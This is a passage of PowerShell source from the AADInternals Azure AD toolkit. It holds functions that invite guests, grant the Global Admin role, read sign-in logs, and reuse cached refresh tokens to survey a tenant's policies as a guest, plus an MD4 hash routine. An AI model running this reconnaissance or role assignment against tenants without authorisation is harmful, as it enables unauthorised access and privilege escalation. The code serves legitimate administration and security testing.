"givenName" = "null"
"surname" = "null"
"jobTitle" = "null"
"department" = "null"
"passwordProfile" = ""
"selectedGroupIds" = ""
"rolesEntity" = ""
}
$Body=@{
"userToInvite"=$UserToInvite
"inviteMessage"=$Message
}
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users/Invite" -Method "Put" -Body $Body
}
}
# Sets the user as Global Admin
# Oct 23rd 2018
function Set-AzureManagementAdminRole
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string]$ObjectId
)
Process
{
$Role=@{
"62e90394-69f5-4237-9190-012177145e10" = "25b21f4a-977e-49f2-9de4-2c885f30be5d"
}
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Roles/User/$ObjectId" -Method "Put" -Body $Role
}
}
# Gets azure activity log
# Oct 23rd 2018
function Get-AzureActivityLog
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$False)]
[datetime]$Start=$((Get-Date).AddDays(-30)),
[Parameter(Mandatory=$False)]
[datetime]$End=$(Get-Date)
)
Process
{
$Body=@{
"startDateTime" = $Start.ToUniversalTime().ToString("o")
"endDateTime" = $End.ToUniversalTime().ToString("o")
}
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Reports/SignInEventsV2" -Method Post -Body $Body
# Return
$response.items
}
}
# Get user's Azure AD tenants
# Jul 11th 2019
function Get-UserTenants
{
<#
.SYNOPSIS
Returns tenants the given user is member of
.DESCRIPTION
Returns tenants the given user is member of using Azure Management API
.Example
$at=Get-AccessTokenForAzureMgmtAPI -Credentials $cred
PS C:\> Get-UserTenants -AccessToken $at
Get-AADIntLoginInformation -Domain outlook.com
id : 3087e687-0d37-4c21-87c5-ecac88f0374a
domainName : company.onmicrosoft.com
displayName : Company Ltd
isSignedInTenant : True
tenantCategory :
id : 2968be53-ede5-4e30-844a-96d66479fb10
domainName : company2.onmicrosoft.com
displayName : Company2
isSignedInTenant : False
tenantCategory :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource azureportal
$response=Call-AzureManagementAPI -AccessToken $AccessToken -Command "directories/List"
return $response.tenants
}
}
# Gets Azure Tenant information as a guest user
# Jun 11th 2020
function Get-AzureInformation
{
<#
.SYNOPSIS
Gets some Azure Tenant information.
.DESCRIPTION
Gets some Azure Tenant information, including certain tenant settings and ALL domains. The access token MUST be
stored to cache! Works also for guest users.
The Tenant is not required for Access Token but is recommended as some tenants may have MFA.
.Example
Get-AADIntAccessTokenForAzureCoreManagement -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd https://management.core.windows.net/ d3590ed6-52b3-4102-aeff-aad2292ab01c
PS C:\>Get-AADIntAzureTenants
Id Country Name Domains
-- ------- ---- -------
221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
PS C:\>Get-AADIntAzureInformation -Tenant
objectId : 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
displayName : Company Ltd
usersCanRegisterApps : True
isAnyAccessPanelPreviewFeaturesAvailable : False
showMyGroupsFeature : False
myGroupsFeatureValue :
myGroupsGroupId :
myGroupsGroupName :
showMyAppsFeature : False
myAppsFeatureValue :
myAppsGroupId :
myAppsGroupName :
showUserActivityReportsFeature : False
userActivityReportsFeatureValue :
userActivityReportsGroupId :
userActivityReportsGroupName :
showRegisteredAuthMethodFeature : False
registeredAuthMethodFeatureValue :
registeredAuthMethodGroupId :
registeredAuthMethodGroupName :
usersCanAddExternalUsers : False
limitedAccessCanAddExternalUsers : False
restrictDirectoryAccess : False
groupsInAccessPanelEnabled : False
selfServiceGroupManagementEnabled : True
securityGroupsEnabled : False
usersCanManageSecurityGroups :
office365GroupsEnabled : False
usersCanManageOfficeGroups :
allUsersGroupEnabled : False
scopingGroupIdForManagingSecurityGroups :
scopingGroupIdForManagingOfficeGroups :
scopingGroupNameForManagingSecurityGroups :
scopingGroupNameForManagingOfficeGroups :
objectIdForAllUserGroup :
allowInvitations : False
isB2CTenant : False
restrictNonAdminUsers : False
enableLinkedInAppFamily : 0
toEnableLinkedInUsers : {}
toDisableLinkedInUsers : {}
linkedInSelectedGroupObjectId :
linkedInSelectedGroupDisplayName :
allowedActions : @{application=System.Object[]; domain=System.Object[]; group=System.Object[]; serviceprincipal=System.Object[];
tenantdetail=System.Object[]; user=System.Object[]; serviceaction=System.Object[]}
skuInfo : @{aadPremiumBasic=False; aadPremium=False; aadPremiumP2=False; aadBasic=False; aadBasicEdu=False; aadSmb=False;
enterprisePackE3=False; enterprisePremiumE5=False}
domains : {@{authenticationType=Managed; availabilityStatus=; isAdminManaged=True; isDefault=False; isDefaultForCloudRedirections=False;
isInitial=False; isRoot=True; isVerified=True; name=company.com; supportedServices=System.Object[]; forceDeleteState=; state=;
passwordValidityPeriodInDays=; passwordNotificationWindowInDays=}, @{authenticationType=Managed; availabilityStatus=;
isAdminManaged=True; isDefault=False; isDefaultForCloudRedirections=False; isInitial=True; isRoot=True; isVerified=True;
name=company.onmicrosoft.com;}...}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$Tenant
)
Begin
{
$guestAccessPolicies = @{
"a0b1b346-4d3e-4e8b-98f8-753987be4970" = "Full"
"10dae51f-b6af-4016-8d66-8c2a99b929b3" = "Normal"
"2af84b1e-32c8-42b7-82bc-daa82404023b" = "Restricted"
}
}
Process
{
# Get from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the refreshtoken
$refresh_token = Get-RefreshTokenFromCache -ClientID "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://management.core.windows.net"
if([string]::IsNullOrEmpty($refresh_token))
{
Throw "No refreshtoken found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch."
}
# Get the tenants
if([string]::IsNullOrEmpty($Tenant))
{
$tenants = Get-AzureTenants $AccessToken
}
else
{
$tenants = @(New-Object psobject -Property @{"Id" = $Tenant})
}
# Loop through the tenants
foreach($tenant_info in $tenants)
{
# Create a new AccessToken for Azure AD management portal API
try
{
$access_token = Get-AccessTokenWithRefreshToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant_info.Id -RefreshToken $refresh_token -SaveToCache $true
}
catch
{
# This may fail due to resource tenant MFA or CA.
Write-Warning "Couldn't get access token for tenant $($tenant_info.Id)"
Write-Warning "Try getting access token to target tenant and run recon again:"
Write-Warning "Get-AADIntAccessTokenForAzureCoreManagement -Tenant $($tenant_info.Id) -SaveToCache"
$error_details = $_.ErrorDetails.Message | ConvertFrom-Json | Select -ExpandProperty error_description
throw $error_details
}
# Directory information included in properties
try
{
$properties = Call-AzureAADIAMAPI -AccessToken $access_token -Command "Directories/Properties"
if($properties.restrictNonAdminUsers -ne "True") # If restricted, don't bother trying
{
$permissions = Call-AzureAADIAMAPI -AccessToken $access_token -Command "Permissions?forceRefresh=false"
}
}
catch
{
$Properties = [PSCustomObject]@{}
$Properties | Add-Member -NotePropertyName "objectId" -NotePropertyValue $Tenant
}
$skuinfo = Call-AzureAADIAMAPI -AccessToken $access_token -Command "TenantSkuInfo"
# Create a new AccessToken for graph.windows.net
$access_token2 = Get-AccessTokenWithRefreshToken -Resource "https://graph.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant_info.Id -RefreshToken $refresh_token -SaveToCache $true
# Get the domain details
#$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://graph.windows.net/myorganization/domains?api-version=1.61-internal" -Headers @{"Authorization"="Bearer $access_token2"}
#$domains = $response.Value
# Create a new AccessToken for graph.microsoft.com
try
{
$access_token3 = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant_info.Id -RefreshToken $refresh_token -SaveToCache $true
}
catch
{
Write-Warning "Could not get access token for Microsoft Graph API"
}
# Create a new AccessToken for access packages (elm.iga.azure.com)
$access_token4 = Get-AccessTokenWithRefreshToken -Resource "https://elm.iga.azure.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant_info.Id -RefreshToken $refresh_token -SaveToCache $true
# Get the directory quota
try
{
$response2 = Call-MSGraphAPI -AccessToken $access_token3 -API "organization" -QueryString '$select=directorySizeQuota'
$quota = $response2.directorySizeQuota
}
catch{}
# Get the domain details
try
{
$domains = Get-MSGraphDomains -AccessToken $access_token3
}
catch{}
# Get the tenant authorization policy
try
{
$authPolicy = Get-TenantAuthPolicy -AccessToken $access_token3
$guestAccess = $guestAccessPolicies[$authPolicy.guestUserRoleId]
}
catch{}
# Get Conditional access policies
try
{
$CAPolicy = Get-ConditionalAccessPolicies -AccessToken $access_token2
}
catch{}
# Get access package users
$accessPackageAdmins = Get-AccessPackageAdmins -AccessToken $access_token4
# Construct the return value
$properties | Add-Member -NotePropertyName "allowedActions" -NotePropertyValue $permissions.allowedActions
$properties | Add-Member -NotePropertyName "skuInfo" -NotePropertyValue $skuInfo
$properties | Add-Member -NotePropertyName "domains" -NotePropertyValue $domains
$properties | Add-Member -NotePropertyName "directorySizeQuota" -NotePropertyValue $quota
$properties | Add-Member -NotePropertyName "authorizationPolicy" -NotePropertyValue $authPolicy
$properties | Add-Member -NotePropertyName "conditionalAccessPolicy" -NotePropertyValue $CAPolicy
$properties | Add-Member -NotePropertyName "guestAccess" -NotePropertyValue $guestAccess
$properties | Add-Member -NotePropertyName "accessPackageAdmins" -NotePropertyValue $accessPackageAdmins
# Return
$properties
}
}
}
# Gets Azure Tenant authentication methods
# Jun 30th 2020
function Get-TenantAuthenticationMethods
{
<#
.SYNOPSIS
Gets Azure tenant authentication methods.
.DESCRIPTION
Gets Azure tenant authentication methods.
.Example
Get-AADIntAccessTokenForAADIAMAPI
Tenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd 74658136-14ec-4630-ad9b-26e160ff0fc6 d3590ed6-52b3-4102-aeff-aad2292ab01c
PS C:\>Get-AADIntTenantAuthenticationMethods
id : 297c50d5-e789-40f7-8931-b3694713cb4d
type : 6
state : 0
includeConditions : {@{type=group; id=9202b94b-5381-4270-a3cb-7fcf0d40fef1; isRequired=False; useForSignIn=True}}
voiceSettings :
fidoSettings : @{allowSelfServiceSetup=False; enforceAttestation=False; keyRestrictions=}
enabled : True
method : FIDO2 Security Key
id : 3d2c4b8f-f362-4ce4-8f4b-cc8726b80106
type : 8
state : 1
includeConditions : {@{type=group; id=all_users; isRequired=False; useForSignIn=True}}
voiceSettings :
fidoSettings :
enabled : False
method : Microsoft Authenticator passwordless sign-in
id : d7716fe0-7c2e-4b52-a5cd-394f8999176b
type : 5
state : 1
includeConditions : {@{type=group; id=all_users; isRequired=False; useForSignIn=True}}
voiceSettings :
fidoSettings :
enabled : False
method : Text message
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the authentication methods
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "AuthenticationMethods/AuthenticationMethodsPolicy"
$methods = $response.authenticationMethods
foreach($method in $methods)
{
$strType="unknown"
switch($method.type)
{
6 {$strType = "FIDO2 Security Key"}
8 {$strType = "Microsoft Authenticator passwordless sign-in"}
5 {$strType = "Text message"}
}
$method | Add-Member -NotePropertyName "enabled" -NotePropertyValue ($method.state -eq 0)
$method | Add-Member -NotePropertyName "method" -NotePropertyValue $strType
}
return $methods
}
}
# Gets Azure Tenant applications
# Nov 11th 2020
function Get-TenantApplications
{
<#
.SYNOPSIS
Gets Azure tenant applications.
.DESCRIPTION
Gets Azure tenant applications.
.Example
Get-AADIntAccessTokenForAADIAMAPI -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd https://management.core.windows.net/ d3590ed6-52b3-4102-aeff-aad2292ab01c
PS C:\>Get-AADIntTenantApplications
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$body = @{
"accountEnabled" = $null
"isAppVisible" = $null
"appListQuery"= 0
"top" = 999
"loadLogo" = $false
"putCachedLogoUrlOnly" = $true
"nextLink" = ""
"usedFirstPartyAppIds" = $null
"__ko_mapping__" = @{
"ignore" = @()
"include" = @("_destroy")
"copy" = @()
"observe" = @()
"mappedProperties" = @{
"accountEnabled" = $true
"isAppVisible" = $true
"appListQuery" = $true
"searchText" = $true
"top" = $true
"loadLogo" = $true
"putCachedLogoUrlOnly" = $true
"nextLink" = $true
"usedFirstPartyAppIds" = $true
}
"copiedProperties" = @{}
}
}
# Get the applications
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "ManagedApplications/List" -Body $body -Method Post
return $response.appList
}
}
# Get the status of AAD Connect
# Jan 7th 2021
function Get-AADConnectStatus
{
<#
.SYNOPSIS
Shows the status of Azure AD Connect (AAD Connect).
.DESCRIPTION
Shows the status of Azure AD Connect (AAD Connect).
.Example
Get-AADIntAccessTokenForAADIAMAPI -SaveToCache
PS C:\>Get-AADIntAADConnectStatus
verifiedDomainCount : 4
verifiedCustomDomainCount : 3
federatedDomainCount : 2
numberOfHoursFromLastSync : 0
dirSyncEnabled : True
dirSyncConfigured : True
passThroughAuthenticationEnabled : True
seamlessSingleSignOnEnabled : True
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
$AccessToken
)
Process
{
# Get from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the applications
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Directories/ADConnectStatus"
return $response
}
}
# Adds a new .onmicrosoft.com domain to the tenant
# Nov 11th 2022
function New-MOERADomain
{
<#
.SYNOPSIS
Adds a new Microsoft Online Email Routing Address (MOERA) domain (.onmicrosoft.com) to the tenant.
.DESCRIPTION
Adds a new Microsoft Online Email Routing Address (MOERA) domain (.onmicrosoft.com) to the tenant.
You can have add up to 30 MOERA domains, and can also add subdomains.
.Example
Get-AADIntAccessTokenForAADIAMAPI -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd 74658136-14ec-4630-ad9b-26e160ff0fc6 d3590ed6-52b3-4102-aeff-aad2292ab01c
PS C:\>New-AADIntMOERADomain -Domain "mydomain.onmicrosoft.com"
authenticationType :
isDefault : False
isInitial : False
isVerified : True
name : mydomain.onmicrosoft.com
forceDeleteState :
.Example
Get-AADIntAccessTokenForAADIAMAPI -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd 74658136-14ec-4630-ad9b-26e160ff0fc6 d3590ed6-52b3-4102-aeff-aad2292ab01c
PS C:\>New-AADIntMOERADomain -Domain "microsoft.onmicrosoft.com"
New-AADIntMOERADomain : Domain microsoft.onmicrosoft.com is already occupied by tenant 72f988bf-86f1-41af-91ab-2d7cd011db47
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Domain
)
Process
{
# Get from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Check whether the domain already exist.
$tenantId = Get-TenantID -Domain $Domain
if($tenantId)
{
Write-Error "Domain $domain is already occupied by tenant $tenantId"
return
}
# Create the body
$body = @{"name" = $Domain}
# Add a new MOERA domain
try
{
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "MoeraDomain" -Body $body -Method "Post"
}
catch
{
if($_.ErrorDetails.Message)
{
$message = $_.ErrorDetails.Message | ConvertFrom-Json
throw "$($message.Message) FaultType: $($message.ClientData.exceptionType)"
}
else
{
throw $_.Exception
}
}
return $response
}
} |
md4.ps1 | AADInternals-0.9.4 | function Get-MD4{
PARAM(
[String]$String,
[Byte[]]$bArray,
[Switch]$UpperCase,
[Switch]$AsByteArray # Added by Nestori Syynimaa Aug 23th 2019
)
# Author: [email protected]
# Reference: https://tools.ietf.org/html/rfc1320
# MD4('abc'):
# a448017aaf21d8525fc10ae87aa6729d UTF-8
# e0fba38268d0ec66ef1cb452d5885e53 Unicode
$Array = [byte[]]@()
if($String)
{
$Array = [System.Text.Encoding]::Unicode.GetBytes($String) # Edited by Nestori Syynimaa Nov 16th 2018
}
if($bArray)
{
$Array = $bArray
}
# padding 100000*** to length 448, last (64 bits / 8) 8 bytes fill with original length
# at least one (512 bits / 8) 64 bytes array
$M = New-Object Byte[] (([math]::Floor($Array.Count/64) + 1) * 64)
# copy original byte array, start from index 0
$Array.CopyTo($M, 0)
# padding bits 1000 0000
$M[$Array.Count] = 0x80
# padding bits 0000 0000 to fill length (448 bits /8) 56 bytes
# Default value is 0 when creating a new byte array, so, no action
# padding message length to the last 64 bits
@([BitConverter]::GetBytes($Array.Count * 8)).CopyTo($M, $M.Count - 8)
# message digest buffer (A,B,C,D)
$A = [Convert]::ToUInt32('0x67452301', 16)
$B = [Convert]::ToUInt32('0xefcdab89', 16)
$C = [Convert]::ToUInt32('0x98badcfe', 16)
$D = [Convert]::ToUInt32('0x10325476', 16)
# There is no unsigned number shift in C#, have to define one.
Add-Type -TypeDefinition @'
public class Shift
{
public static uint Left(uint a, int b)
{
return ((a << b) | (((a >> 1) & 0x7fffffff) >> (32 - b - 1)));
}
}
'@
# define 3 auxiliary functions
function FF([uint32]$X, [uint32]$Y, [uint32]$Z)
{
(($X -band $Y) -bor ((-bnot $X) -band $Z))
}
function GG([uint32]$X, [uint32]$Y, [uint32]$Z)
{
(($X -band $Y) -bor ($X -band $Z) -bor ($Y -band $Z))
}
function HH([uint32]$X, [uint32]$Y, [uint32]$Z){
($X -bxor $Y -bxor $Z)
}
# processing message in one-word blocks
for($i = 0; $i -lt $M.Count; $i += 64)
{
# Save a copy of A/B/C/D
$AA = $A
$BB = $B
$CC = $C
$DD = $D
# Round 1 start
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 0)..($i + 3)], 0)) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 4)..($i + 7)], 0)) -band [uint32]::MaxValue, 7)
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 8)..($i + 11)], 0)) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 12)..($i + 15)], 0)) -band [uint32]::MaxValue, 19)
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 16)..($i + 19)], 0)) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 20)..($i + 23)], 0)) -band [uint32]::MaxValue, 7)
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 24)..($i + 27)], 0)) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 28)..($i + 31)], 0)) -band [uint32]::MaxValue, 19)
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 32)..($i + 35)], 0)) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 36)..($i + 39)], 0)) -band [uint32]::MaxValue, 7)
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 40)..($i + 43)], 0)) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 44)..($i + 47)], 0)) -band [uint32]::MaxValue, 19)
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 48)..($i + 51)], 0)) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 52)..($i + 55)], 0)) -band [uint32]::MaxValue, 7)
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 56)..($i + 59)], 0)) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 60)..($i + 63)], 0)) -band [uint32]::MaxValue, 19)
# Round 1 end
# Round 2 start
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 0)..($i + 3)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 16)..($i + 19)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 32)..($i + 35)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 48)..($i + 51)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 4)..($i + 7)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 20)..($i + 23)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 36)..($i + 39)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 52)..($i + 55)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 8)..($i + 11)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 24)..($i + 27)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 40)..($i + 43)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 56)..($i + 59)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 12)..($i + 15)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 28)..($i + 31)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 44)..($i + 47)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 60)..($i + 63)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
# Round 2 end
# Round 3 start
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 0)..($i + 3)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 32)..($i + 35)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 16)..($i + 19)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 48)..($i + 51)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 8)..($i + 11)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 40)..($i + 43)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 24)..($i + 27)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 56)..($i + 59)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 4)..($i + 7)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 36)..($i + 39)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 20)..($i + 23)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 52)..($i + 55)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 12)..($i + 15)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 44)..($i + 47)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 28)..($i + 31)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 60)..($i + 63)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
# Round 3 end
# Increment start
$A = ($A + $AA) -band [uint32]::MaxValue
$B = ($B + $BB) -band [uint32]::MaxValue
$C = ($C + $CC) -band [uint32]::MaxValue
$D = ($D + $DD) -band [uint32]::MaxValue
# Increment end
}
# Output start
$A = ('{0:x8}' -f $A) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
$B = ('{0:x8}' -f $B) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
$C = ('{0:x8}' -f $C) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
$D = ('{0:x8}' -f $D) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
# Output end
if($AsByteArray)
{
return [byte[]]("$A$B$C$D" -replace '..', '0x$&,' -split ',' -ne '')
}
else
{
if($UpperCase)
{
return "$A$B$C$D".ToUpper()
}
else
{
return "$A$B$C$D"
}
}
} |
PTA.ps1 | AADInternals-0.9.4 | # This script contains utility functions for PTA
# Error codes
$ERROR_ACCESS_DENIED = 5
$ERROR_ACCOUNT_DISABLED = 1331
$ERROR_ACCOUNT_EXPIRED = 1793
$ERROR_ACCOUNT_LOCKED_OUT = 1909
$ERROR_ACCOUNT_RESTRICTION = 1327
$ERROR_AUTHENTICATION_FIREWALL_FAILED = 1935
$ERROR_BAD_ARGUMENTS = 160
$ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908
$ERROR_DOMAIN_TRUST_INCONSISTENT = 1810
